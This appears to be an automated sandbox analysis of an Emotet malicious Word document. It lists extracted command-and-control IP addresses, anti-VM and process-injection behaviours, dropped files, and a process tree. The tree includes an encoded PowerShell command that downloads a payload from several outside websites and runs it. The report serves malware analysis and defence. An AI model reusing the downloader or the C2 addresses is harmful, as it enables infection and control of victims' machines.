Windows 7 deprecation
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Task
task1
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.8.doc
Resource
win7
Task
task2
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.8.doc
Resource
win10
General
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Target
Docs_129a4380ebaff7cfc82bfe05e7d282ff.8
-
Sample
191016-9xv6d8j3as
-
SHA256
012987f43b78cbbd7648fd8fbd4660423486e120f0a42cb155b0169a1f928e45
Malware Config
Extracted
emotet
181.59.253.20:21
14.160.93.230:80
74.208.68.48:8080
104.131.58.132:8080
68.183.190.199:8080
62.75.143.100:7080
159.203.204.126:8080
151.80.142.33:80
123.168.4.66:22
46.28.111.142:7080
46.101.212.195:8080
183.82.97.25:80
190.10.194.42:8080
217.199.160.224:8080
186.1.41.111:443
185.86.148.222:8080
185.187.198.10:8080
200.57.102.71:8443
114.79.134.129:443
80.85.87.122:8080
87.106.77.40:7080
186.0.95.172:80
190.230.60.129:80
125.99.61.162:7080
142.93.82.57:8080
77.55.211.77:8080
178.79.163.131:8080
82.196.15.205:8080
139.5.237.27:443
178.249.187.151:8080
46.41.151.103:8080
71.244.60.230:7080
190.221.50.210:8080
212.71.237.140:8080
200.51.94.251:143
50.28.51.143:8080
77.245.101.134:8080
88.250.223.190:8080
190.230.60.129:80
181.36.42.205:443
86.42.166.147:80
190.97.30.167:990
189.166.68.89:443
110.36.234.146:80
170.84.133.72:7080
190.1.37.125:443
76.69.29.42:80
62.75.160.178:8080
91.205.215.57:7080
119.92.51.40:8080
190.38.14.52:80
109.104.79.48:8080
5.196.35.138:7080
119.59.124.163:8080
181.188.149.134:80
79.129.0.173:8080
46.29.183.211:8080
91.83.93.124:7080
189.160.49.234:8443
119.159.150.176:443
149.62.173.247:8080
71.244.60.231:7080
68.183.170.114:8080
81.169.140.14:443
138.68.106.4:7080
46.163.144.228:80
184.69.214.94:20
190.104.253.234:990
79.143.182.254:8080
51.15.8.192:8080
109.169.86.13:8080
181.29.101.13:8080
187.188.166.192:80
201.199.93.30:443
201.163.74.202:443
94.183.71.206:7080
5.1.86.195:8080
203.25.159.3:8080
181.44.166.242:80
200.58.171.51:80
181.143.101.18:8080
190.85.152.186:8080
170.84.133.72:8443
190.230.60.129:8080
89.188.124.145:443
Signatures
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Suspicious behavior: AddClipboardFormatListener
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Suspicious use of SetWindowsHookEx
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at description ioc Process 22453 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 22625 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 28281 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.8.doc WINWORD.EXE 31172 File created C:\Users\Admin\AppData\Local\Temp\~$cs_129a4380ebaff7cfc82bfe05e7d282ff.8.doc WINWORD.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
at description Process procid_target 24859 PID 3904 wrote to memory of 3888 SppExtComObj.exe 42 62391 PID 756 wrote to memory of 3188 powershell.exe 46 62484 PID 3188 wrote to memory of 3212 506.exe 47 69172 PID 3256 wrote to memory of 3292 tabletmspterm.exe 49 121563 PID 3292 wrote to memory of 372 tabletmspterm.exe 53 121891 PID 372 wrote to memory of 1260 wmkAc7jIR70hX08w.exe 54 126766 PID 2940 wrote to memory of 1920 tabletmspterm.exe 56 -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
at description ioc Process 28203 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 28203 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
at description ioc Process 28203 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 28203 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 28219 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 28219 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 28219 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
at description ioc Process 28203 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 28203 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of FindShellTrayWindow
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Suspicious use of AdjustPrivilegeToken 1 IoCs
at description Process 52641 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
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Executes dropped EXE
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description ioc Process Event created Global\E145925EC 506.exe -
Suspicious behavior: EmotetMutantsSpam
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Drops file in system dir 9 IoCs
at description ioc Process 67500 File renamed C:\Users\Admin\506.exe => C:\Windows\SysWOW64\tabletmspterm.exe 506.exe 88406 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat tabletmspterm.exe 92813 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 tabletmspterm.exe 92813 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE tabletmspterm.exe 92813 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies tabletmspterm.exe 92813 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 tabletmspterm.exe 121547 File created C:\Windows\SysWOW64\wmkAc7jIR70hX08w.exe tabletmspterm.exe 126609 File renamed C:\Windows\SysWOW64\wmkAc7jIR70hX08w.exe => C:\Windows\SysWOW64\tabletmspterm.exe wmkAc7jIR70hX08w.exe 144813 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat tabletmspterm.exe -
Loads dropped DLL
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Drops desktop.ini 1 IoCs
at description ioc Process 126609 File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini wmkAc7jIR70hX08w.exe -
emotet family
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.8.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:3424
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3904
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:3888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAEQARABCAEEARwBRAEEANABBADEAQQBBAD0AJwBBAHcAQQBCAEMAeABBAEcARwBBACcAOwAkAEIAQQBBAFgAVQBfAHgAdwAxACAAPQAgACcANQAwADYAJwA7ACQAVwBBADQAQQBBAEEAQwBCAEQAXwBCAFEAPQAnAFUAawBBAEQAMQB3AGMAXwAnADsAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgBBAEEAWABVAF8AeAB3ADEAKwAnAC4AZQB4AGUAJwA7ACQAVABDAEEAWgBBAEcAVQBBAD0AJwBKAEMAXwBBAEEAVQB4AEIAQQBRAEIAUQAnADsAJABSAHgAVQBBAEEANABVAHcAUQBBAEEAQQB3AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBiAEMAbABJAEUATgBUADsAJABDAEEAWgAxAFUANABBAEIARwBfAEEAQQBBAD0AJwBoAHQAdABwAHMAOgAvAC8AeQBvAHUAcgBnAHAAcwBoAGUAbABwAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoADYAMgAyADgANAAwADAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAHkAbwBrAHUAcwBoAGkAbgBtAGkAZABkAGwAZQBlAGEAcwB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA0AGgAbwBiAHMAOAA4ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGEAbQBhAGsAbwBzAGgAaQBzAGEAbgBjAGgAYQByAC4AYwBvAG0ALwBoAHQAaAB6ADkAMQAvAGsANgBpAGwAeQBjAHgAMwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGUAcgBnAGEAbQBhAGUAZwBlAHMAbwBuAGQAYQBqAC4AYwBvAG0ALwAxAHQAMgAwADEAMQAxAHkANgAzAC8AaQBjADUANQAwADEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG8AcgBnAGEAbgBpAHoAZQByAHMAbwBuAGQAZQBtAGEAbgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANgB2AHQAZAA3ADMAMAA0AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAEcAUQBDAEQAWAB3AFEAVQBCAFEAQQBCAGsAPQAnAFMAQQBBAEIAQQBHAG8ARwBaAEEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAgAGkAbgAgACQAQwBBAFoAMQBVADQAQQBCAEcAXwBBAEEAQQApAHsAdAByAHkAewAkAFIAeABVAEEAQQA0AFUAdwBRAEEAQQBBAHcALgAiAEQAYABvAFcATgBsAGAATwBhAGQARgBpAGAATABFACIAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAsACAAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABLAEIAQQBaAEMAUQBjAEEAbwA9ACcATgBjAGMAYwBEAEEAQwBBACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVQBEAFUAYwBfAEEAQQAxAEEAXwBBADEAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANQAzADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABZAFUAQQB3AFUAMQBEAG8APQAnAEgAeABVAEIAQQBBAEQAQQBBACcAOwBiAHIAZQBhAGsAOwAkAFoAeAAxAEIAQQBVAFEAQQBCAGsAQQA9ACcAWABBAEEAVQBBAFUAbwBjADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA0AFUAMQBvAEIAVQBrAFUAPQAnAFIAXwBBAGMANAA0AEEAbwBEAEcARABrAEcAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:756
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C:\Users\Admin\506.exe"C:\Users\Admin\506.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3188
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C:\Users\Admin\506.exe--dec732191⤵
- Emotet Sync
- Drops file in system dir
PID:3212
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C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3256
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C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵
- Suspicious use of WriteProcessMemory
- Drops file in system dir
PID:3292
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C:\Windows\SysWOW64\wmkAc7jIR70hX08w.exe"C:\Windows\SysWOW64\wmkAc7jIR70hX08w.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:372
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C:\Windows\SysWOW64\wmkAc7jIR70hX08w.exe--513ab8851⤵
- Drops file in system dir
- Drops desktop.ini
PID:1260
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C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2940
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C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵
- Drops file in system dir
PID:1920